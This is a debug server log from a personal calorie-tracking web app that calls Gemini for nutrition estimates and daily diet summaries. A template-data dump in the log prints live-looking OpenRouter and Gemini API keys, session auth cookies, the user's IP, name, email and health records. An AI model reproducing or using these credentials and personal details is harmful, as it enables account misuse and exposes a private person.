    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '550',
    surplus_or_deficit: '1850',
    status_flag: 2
  }
]
2025-12-20T06:15:20.814Z server-connect:app Executing action step identify
2025-12-20T06:15:20.814Z server-connect:app options: { provider: 'security' }
2025-12-20T06:15:20.814Z server-connect:output identity: 1
2025-12-20T06:24:01.410Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-20T06:24:01.411Z server-connect:app Executing action step identify
2025-12-20T06:24:01.411Z server-connect:app options: { provider: 'security' }
2025-12-20T06:24:01.411Z server-connect:output identity: 1
2025-12-20T06:24:01.411Z server-connect:app Executing action step restrict
2025-12-20T06:24:01.411Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T06:24:01.413Z server-connect:output restrict: undefined
2025-12-20T06:24:01.413Z server-connect:app Executing action step processWithGemini
2025-12-20T06:24:01.413Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-20T06:24:04.155Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: "Milk (Cow's Milk, whole)",
      quantity: '1 glass (approx 240 ml)',
      calories_consumed: 150,
      total_calories: 150,
      protein: 8.4,
      carbs: 11.5,
      fat: 8,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Good source of protein and calcium for muscle development. Whole milk has more fat, but can be beneficial for satiety and energy for an active individual.'
    },
    {
      food_name: 'Banana',
      quantity: '1 medium (approx 118g)',
      calories_consumed: 105,
      total_calories: 105,
      protein: 1.3,
      carbs: 27,
      fat: 0.4,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Good source of carbohydrates for energy, and potassium for muscle function. Essential for pre or post-workout fuel.'
    },
    {
      food_name: 'Cashew',
      quantity: 'Few (approx 10g, 5-6 cashews)',
      calories_consumed: 55,
      total_calories: 55,
      protein: 1.8,
      carbs: 3,
      fat: 4.4,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Provides healthy fats, protein, and micronutrients. Good for satiety and overall health. Quantity is reasonable.'
    }
  ],
  total_macros: {
    protein: { value: 11.5, unit: 'g' },
    carbs: { value: 41.5, unit: 'g' },
    fat: { value: 12.8, unit: 'g' }
  },
  total_calories_all_items: 310
}
2025-12-20T06:24:09.900Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-20T06:24:09.901Z server-connect:app Executing action step identify
2025-12-20T06:24:09.901Z server-connect:app options: { provider: 'security' }
2025-12-20T06:24:09.901Z server-connect:output identity: 1
2025-12-20T06:24:09.901Z server-connect:app Executing action step restrict
2025-12-20T06:24:09.901Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T06:24:09.902Z server-connect:output restrict: undefined
2025-12-20T06:24:09.902Z server-connect:app Executing action step condition
2025-12-20T06:24:09.902Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-20T06:24:09.902Z server-connect:app Executing action step repeat
2025-12-20T06:24:09.902Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-20T06:24:09.902Z server-connect:app Executing action step insert
2025-12-20T06:24:09.902Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-20T06:24:09.904Z server-connect:output calories: { affected: 1, identity: 464 }
2025-12-20T06:24:09.904Z server-connect:app Executing action step insert
2025-12-20T06:24:09.904Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-20T06:24:09.904Z server-connect:output calories: { affected: 1, identity: 465 }
2025-12-20T06:24:09.904Z server-connect:app Executing action step insert
2025-12-20T06:24:09.904Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-20T06:24:09.905Z server-connect:output calories: { affected: 1, identity: 466 }
2025-12-20T06:24:09.905Z server-connect:output repeat: [ {}, {}, {} ]
2025-12-20T06:24:09.905Z server-connect:output condition: undefined
2025-12-20T06:24:10.099Z server-connect:router Serving templateView /calorie-tracker
2025-12-20T06:24:10.100Z server-connect:app Executing action step identify
2025-12-20T06:24:10.100Z server-connect:app options: { provider: 'security' }
2025-12-20T06:24:10.100Z server-connect:output identity: 1
2025-12-20T06:24:10.100Z server-connect:app Executing action step restrict
2025-12-20T06:24:10.100Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T06:24:10.100Z server-connect:output restrict: undefined
2025-12-20T06:24:10.100Z server-connect:router Render template layouts/main
2025-12-20T06:24:10.101Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A1SXn3YRCbSfsc18lVTI0sA%3D%3D.JmUkRLCxNuxHNlf01cqT1n4RC42vr%2FOZqPFKwwn2ByNjkddF%2Bhl13sx9yABJQzln4vsh2KXSTAfYMKwzQOnzxGKRAPsc1IOCXK4LJK3Qt7IbP21R7oCIyzCSVn7WkrFome14nxs7gPcL5TkYcxqUDOkf7XEcPV8APNQStFTJvgA%3D.fdWnWvBctrLnmI9WJz5FM%2FynULUKUGx%2BE5B%2B8W%2BavVo; your_r_git.sid=s%3AQCIBu3-xYemX7Zyess-nn4MF1-Abm-dh.5ZBk8dmQ3QkAQYcz1NqKmREpCU3rQnQuNwQ7%2FkfePeA',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-21T06:14:38.738Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A1SXn3YRCbSfsc18lVTI0sA%3D%3D.JmUkRLCxNuxHNlf01cqT1n4RC42vr%2FOZqPFKwwn2ByNjkddF%2Bhl13sx9yABJQzln4vsh2KXSTAfYMKwzQOnzxGKRAPsc1IOCXK4LJK3Qt7IbP21R7oCIyzCSVn7WkrFome14nxs7gPcL5TkYcxqUDOkf7XEcPV8APNQStFTJvgA%3D.fdWnWvBctrLnmI9WJz5FM%2FynULUKUGx%2BE5B%2B8W%2BavVo; your_r_git.sid=s%3AQCIBu3-xYemX7Zyess-nn4MF1-Abm-dh.5ZBk8dmQ3QkAQYcz1NqKmREpCU3rQnQuNwQ7%2FkfePeA',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-20T06:24:10.307Z server-connect:app Executing action step identify
2025-12-20T06:24:10.307Z server-connect:app options: { provider: 'security' }
2025-12-20T06:24:10.307Z server-connect:output identity: 1
2025-12-20T06:24:10.623Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-20T06:24:10.624Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-20T06:24:10.625Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-20T06:24:10.626Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-20T06:24:10.626Z server-connect:app Executing action step identify
2025-12-20T06:24:10.626Z server-connect:app options: { provider: 'security' }
2025-12-20T06:24:10.626Z server-connect:output identity: 1
2025-12-20T06:24:10.626Z server-connect:app Executing action step restrict
2025-12-20T06:24:10.626Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T06:24:10.626Z server-connect:app Executing action step identify
2025-12-20T06:24:10.626Z server-connect:app options: { provider: 'security' }
2025-12-20T06:24:10.626Z server-connect:output identity: 1
2025-12-20T06:24:10.626Z server-connect:app Executing action step restrict
2025-12-20T06:24:10.626Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T06:24:10.626Z server-connect:app Executing action step identify
2025-12-20T06:24:10.626Z server-connect:app options: { provider: 'security' }
2025-12-20T06:24:10.627Z server-connect:output identity: 1
2025-12-20T06:24:10.627Z server-connect:app Executing action step restrict
2025-12-20T06:24:10.627Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T06:24:10.627Z server-connect:output restrict: undefined
2025-12-20T06:24:10.627Z server-connect:app Executing action step select
2025-12-20T06:24:10.627Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-20T06:24:10.628Z server-connect:app Executing action step identify
2025-12-20T06:24:10.628Z server-connect:app options: { provider: 'security' }
2025-12-20T06:24:10.628Z server-connect:output identity: 1
2025-12-20T06:24:10.628Z server-connect:app Executing action step restrict
2025-12-20T06:24:10.628Z server-connect:app options: { provider: 'security' }
2025-12-20T06:24:10.628Z server-connect:output restrict: undefined
2025-12-20T06:24:10.628Z server-connect:app Executing action step single
2025-12-20T06:24:10.628Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-20T06:24:10.629Z server-connect:output restrict: undefined
2025-12-20T06:24:10.629Z server-connect:app Executing action step single
2025-12-20T06:24:10.629Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-20T06:24:10.629Z server-connect:output restrict: undefined
2025-12-20T06:24:10.630Z server-connect:app Executing action step single
2025-12-20T06:24:10.630Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-20T06:24:10.634Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-20T06:24:10.635Z server-connect:output summary: {
  summary: {
    rating: 4,
    summary: "The day's intake appears to be quite limited, with a focus on protein from paneer and whey. While protein is present, the overall food variety and volume seem insufficient for optimal recovery and muscle development, especially given the consistent gym routine. The recent weight trend shows a gradual decrease, suggesting the current approach is leading to some fat loss.",
    bad_points: [
      'Very limited food variety, lacking essential micronutrients and fiber.',
      'Overall food volume seems low, potentially impacting energy levels and muscle building.',
      'Absence of complex carbohydrates and vegetables for sustained energy and recovery.'
    ],
    good_points: [
      'Inclusion of whey protein post-workout supports muscle recovery.',
      'Paneer provides a good source of protein and fats.'
    ],
    suggestions: [
      'Incorporate a balanced meal with complex carbohydrates (like rice or roti) and a generous portion of vegetables.',
      'Add more protein sources throughout the day to support muscle development.',
      'Ensure adequate hydration by drinking plenty of water.',
      'Consider adding fruits for vitamins and fiber.'
    ],
    predicted_weight: 69.7,
    predicted_weight_trend: 'gradual loss'
  },
  date: '2025-12-19T18:30:00.000Z'
}
2025-12-20T06:24:10.636Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-20T06:24:10.637Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-20T06:24:10.637Z server-connect:app Executing action step select
2025-12-20T06:24:10.637Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-20T06:24:10.639Z server-connect:output item_list: [
  {
    id: 460,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee,Green tea,BCAA supplements (calorie-free)',
    created_at: '2025-12-19T22:39:38.000Z',
    skip_level: 2,
    skip_reason: "Pre-workouts vary greatly in ingredients and calorie content. Some can contain significant amounts of sugar or artificial sweeteners, and their effectiveness for muscle development can be debated. While generally safe, it's good to be mindful of what's in your specific pre-workout."
  },
  {
    id: 461,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Paneer (soft and fluffy)',
    calories: 352,
    protein_gm: 23,
    carbs_gm: 4,
    fat_gm: 28,
    quantity: '110 gm',
    replacements: 'Tofu (firm or extra-firm),Low-fat cottage cheese,Chicken breast,Egg whites',
    created_at: '2025-12-19T22:39:38.000Z',
    skip_level: 1,
    skip_reason: "Paneer is a good source of protein and fat, essential for muscle development. While it's relatively high in calories and fat, in moderation and as part of a balanced diet, it's beneficial for your goals."
  },
  {
    id: 462,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 2,
    fat_gm: 1,
    quantity: '1 scoop (approx. 30g, assuming a standard scoop size to provide 27g protein)',
    replacements: 'Casein protein (slower digestion, similar calories),Plant-based protein (pea, rice, soy - can be lower calorie depending on brand)',
    created_at: '2025-12-20T00:11:33.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, high in protein, low in carbs and fat. Ideal for your goals.'
  },
  {
    id: 463,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Apple',
    calories: 78,
    protein_gm: 0,
    carbs_gm: 21,
    fat_gm: 0,
    quantity: '1 small size (approx 150g)',
    replacements: 'Berries (strawberries, blueberries),Cucumber,Celery',
    created_at: '2025-12-20T00:45:19.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 464,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: "Milk (Cow's Milk, whole)",
    calories: 150,
    protein_gm: 8,
